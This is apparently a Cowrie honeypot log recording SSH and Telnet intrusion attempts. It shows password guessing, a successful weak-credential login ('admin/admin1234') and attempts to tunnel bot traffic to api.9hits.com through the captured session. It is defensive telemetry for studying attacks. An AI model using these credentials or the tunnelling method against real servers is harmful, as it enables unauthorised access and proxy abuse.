{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":52932,"dst_ip":"10.17.0.5","dst_port":22,"session":"fd7ef10dd152","protocol":"ssh","message":"New connection: 193.37.70.224:52932 (10.17.0.5:22) [session: fd7ef10dd152]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:07:26.279844Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:07:26.287611Z","src_ip":"193.37.70.224","session":"fd7ef10dd152","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:07:26.378490Z","src_ip":"193.37.70.224","session":"fd7ef10dd152","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dortmund","message":"login attempt [root/dortmund] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:07:26.648445Z","src_ip":"193.37.70.224","session":"fd7ef10dd152","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:07:27.740416Z","src_ip":"193.37.70.224","session":"fd7ef10dd152","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":46712,"dst_ip":"159.203.135.109","dst_port":23,"session":"f19e15a5e096","protocol":"telnet","message":"New connection: 128.199.8.54:46712 (159.203.135.109:23) [session: f19e15a5e096]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:07:31.518265Z"}
{"eventid":"cowrie.session.connect","src_ip":"123.27.168.40","src_port":54582,"dst_ip":"10.17.0.5","dst_port":22,"session":"824b113b9852","protocol":"ssh","message":"New connection: 123.27.168.40:54582 (10.17.0.5:22) [session: 824b113b9852]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:07:38.005916Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:07:38.010398Z","src_ip":"123.27.168.40","session":"824b113b9852","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:07:38.267914Z","src_ip":"123.27.168.40","session":"824b113b9852","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":52118,"dst_ip":"159.203.135.109","dst_port":23,"session":"d1723db4e1cb","protocol":"telnet","message":"New connection: 172.81.62.90:52118 (159.203.135.109:23) [session: d1723db4e1cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:07:38.834093Z"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:07:39.394528Z","src_ip":"123.27.168.40","session":"824b113b9852","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:07:40.039193Z","session":"824b113b9852","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:07:40.282170Z","src_ip":"123.27.168.40","session":"824b113b9852","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1206\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_2_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.146 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=Ly9AZS9vaXA4RzBnRnlPUA%3D%3DAuYOahRr9D%2BBFGBUcilRWSFJFfxtlK4nDcUujvjW8lGD3yKIAjjzU408FDaLEWEOGdXsc0%2B0SAPD%2FZ4JCe3V6jrxhPkRICR4pQGxoeLk7cW9CFAdbjfYFbKi4Gwpz2J%2FLtiz8WD32Dq54sFJbbLI4Ik%2BwnT%2BAiW%2B8RJqCDCqG944PYlhM0OoOPvcouayYHjy2jBWqTcy0oI5MeyoDll7mVmr%2BUPbKuCPD3fkz9JwbsXcHrJb9%2FxUmlygmEcV5u5UsIw8m9t5R%2FtbIyxxHsEozK3I2CnSqgD4ZTNpeRwDNlEYWawLwZOUbJKvvfbAcX%2FXc2kE1l4Xi%2B2v%2BQF1uPC5F2Q%2FWrqHjh9HiaGPXOWm4VxsIxdCOZCYqO0DqXsH0i1jaRMJva%2BvmxsRhzPvT3v26wE2OE7w4PzCrXjkQx0uAscFriV4K19HWHSM7f1GOob7GqQUbOL2PM%2FRxSY3gq9d6IAG4tA4L9hee2kxkZ%2FvC%2Beo9chDBRAelBqs5N4%2FqhGldTCP8COx7oaeLZyzSH7orKhng45hnvJrMOOvgNtWPWSBRL0boIrXFWlxBjPw0keHzRHSxHPEB4nAh%2FtSlp1biQ1APNlZF0Lo8QVO1LNAf5AliBZrMik7Vq3f644HflNuqXU%2BVjJnuzhf41YuSs1OhdjCwxF8XcfnEMb4p%2BAZDNZV1TrnVYDXOJIhybn%2FjyLMx7mv7o5kPhSu%2BVINv5cWnMZzN66aMvIYlaeXUAFjeu7sLfFqjhD%2BxjN97DUoZF59DeIx8Yi%2BsLcyB8p65T%2F6USEcriA2iZ3Y3xchKy62%2B8p2%2FLTM1tu4uNpn8JjkPu7ojZ%2FL9%2FvqwSI9qw%2FG05x%2ByQsQ%2FeIcKwS9EsbT9gDzjOjh6%2F5%2FZ0qXb8jO%2FpC3ACCb9cNmL69z3tZRcdRsVp9qYVySwTNcZ8wSgHJjrzqr%2FxpejbY%2FN9frTel0a6YK5FG%2Benq92QDyYWCFnkp7KCLYuKWgXFRIIvWXMlKB8R2sdhAZ5k%2B7TkF%2FkyruijHrcpW5d9I9DGsp36Raw08WinFbMHNRAeS%2B%2BDSXi4iLR2o9cpmrJMMz1m0acIqBT8nz36uM'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1206\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_2_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.146 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=Ly9AZS9vaXA4RzBnRnlPUA%3D%3DAuYOahRr9D%2BBFGBUcilRWSFJFfxtlK4nDcUujvjW8lGD3yKIAjjzU408FDaLEWEOGdXsc0%2B0SAPD%2FZ4JCe3V6jrxhPkRICR4pQGxoeLk7cW9CFAdbjfYFbKi4Gwpz2J%2FLtiz8WD32Dq54sFJbbLI4Ik%2BwnT%2BAiW%2B8RJqCDCqG944PYlhM0OoOPvcouayYHjy2jBWqTcy0oI5MeyoDll7mVmr%2BUPbKuCPD3fkz9JwbsXcHrJb9%2FxUmlygmEcV5u5UsIw8m9t5R%2FtbIyxxHsEozK3I2CnSqgD4ZTNpeRwDNlEYWawLwZOUbJKvvfbAcX%2FXc2kE1l4Xi%2B2v%2BQF1uPC5F2Q%2FWrqHjh9HiaGPXOWm4VxsIxdCOZCYqO0DqXsH0i1jaRMJva%2BvmxsRhzPvT3v26wE2OE7w4PzCrXjkQx0uAscFriV4K19HWHSM7f1GOob7GqQUbOL2PM%2FRxSY3gq9d6IAG4tA4L9hee2kxkZ%2FvC%2Beo9chDBRAelBqs5N4%2FqhGldTCP8COx7oaeLZyzSH7orKhng45hnvJrMOOvgNtWPWSBRL0boIrXFWlxBjPw0keHzRHSxHPEB4nAh%2FtSlp1biQ1APNlZF0Lo8QVO1LNAf5AliBZrMik7Vq3f644HflNuqXU%2BVjJnuzhf41YuSs1OhdjCwxF8XcfnEMb4p%2BAZDNZV1TrnVYDXOJIhybn%2FjyLMx7mv7o5kPhSu%2BVINv5cWnMZzN66aMvIYlaeXUAFjeu7sLfFqjhD%2BxjN97DUoZF59DeIx8Yi%2BsLcyB8p65T%2F6USEcriA2iZ3Y3xchKy62%2B8p2%2FLTM1tu4uNpn8JjkPu7ojZ%2FL9%2FvqwSI9qw%2FG05x%2ByQsQ%2FeIcKwS9EsbT9gDzjOjh6%2F5%2FZ0qXb8jO%2FpC3ACCb9cNmL69z3tZRcdRsVp9qYVySwTNcZ8wSgHJjrzqr%2FxpejbY%2FN9frTel0a6YK5FG%2Benq92QDyYWCFnkp7KCLYuKWgXFRIIvWXMlKB8R2sdhAZ5k%2B7TkF%2FkyruijHrcpW5d9I9DGsp36Raw08WinFbMHNRAeS%2B%2BDSXi4iLR2o9cpmrJMMz1m0acIqBT8nz36uM'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:07:40.284915Z","src_ip":"123.27.168.40","session":"824b113b9852","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:07:40.302243Z","session":"824b113b9852","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":70.68081951141357,"message":"Connection lost after 70 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:07:40.712102Z","src_ip":"94.23.66.112","session":"5e55f7eb41f2","protocol":"telnet"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:07:40.790234Z","src_ip":"123.27.168.40","session":"824b113b9852","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xe9\\x071\\xbef\\xef\\xd4=\\xa7\\xb4\\xb6\\xa9\\xb0\\xd8Y\\xb6\\x17F\\xc4\\x10\\x9f\\xc0\\xf0\\xa3-\\x80\\x18\\x02C\\xba1\\xaf \\x197;\\x8b{\\x93\\x17/\\xa6\\x14\\xea\\x9aT\\xb4\\xff\\x86\\xa8[\\xc8\\xfb\\xa1\\xa0\\xa6W\\x01\\xd6\\x86H\\x9b\\xcc<u\\x00 JJ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\x9a\\x9a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08jj\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)jj\\x00\\x01\\x00\\x00\\x1d\\x00 \\x97\\xef\\x85\\xa5\\x1b1\\x1e@r\\x96=\\xfb\\xdc)\\xd1\\xa24\\xc9\\x10qD?\\x90be\\xfe\\xdc\\x1f\\xd53(\"\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nJJ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xca\\xca\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xe9\\x071\\xbef\\xef\\xd4=\\xa7\\xb4\\xb6\\xa9\\xb0\\xd8Y\\xb6\\x17F\\xc4\\x10\\x9f\\xc0\\xf0\\xa3-\\x80\\x18\\x02C\\xba1\\xaf \\x197;\\x8b{\\x93\\x17/\\xa6\\x14\\xea\\x9aT\\xb4\\xff\\x86\\xa8[\\xc8\\xfb\\xa1\\xa0\\xa6W\\x01\\xd6\\x86H\\x9b\\xcc<u\\x00 JJ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\x9a\\x9a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08jj\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)jj\\x00\\x01\\x00\\x00\\x1d\\x00 \\x97\\xef\\x85\\xa5\\x1b1\\x1e@r\\x96=\\xfb\\xdc)\\xd1\\xa24\\xc9\\x10qD?\\x90be\\xfe\\xdc\\x1f\\xd53(\"\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nJJ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xca\\xca\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:07:40.793786Z","src_ip":"123.27.168.40","session":"824b113b9852","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:07:41.044110Z","session":"824b113b9852","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:07:41.291172Z","src_ip":"123.27.168.40","session":"824b113b9852","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03,\\x14<\\x12\\xa2T\\x16F}yH\\x1e\\xf3Q\\x84\\xd4\\xb8(\\xf4\\xb4j\\xd7r\\xf1K\\xdb68J\\x8eE\\x1d ],\\x15\\x93\\xf9\\xc1\\xd6\\x1eg3S\\xefW[X\\x08[\\xe3!\\xe6\\x9aU&-\\xbaxtX\\xea\\xe6\\xc9\\xbc\\x00\"jj\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xca\\xca\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xea\\xea\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xea\\xea\\x00\\x01\\x00\\x00\\x1d\\x00 P\\x97\\x93\\x99\\xc7\\xa2|\\xc9e\\xd9\\x11G\\xa6\\xa1J\\xb4-~{v\\xcd\\xf7[\\xf2\\'\\xa6\\x81-\\x90\\x7fQj\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xfa\\xfa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xfa\\xfa\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03,\\x14<\\x12\\xa2T\\x16F}yH\\x1e\\xf3Q\\x84\\xd4\\xb8(\\xf4\\xb4j\\xd7r\\xf1K\\xdb68J\\x8eE\\x1d 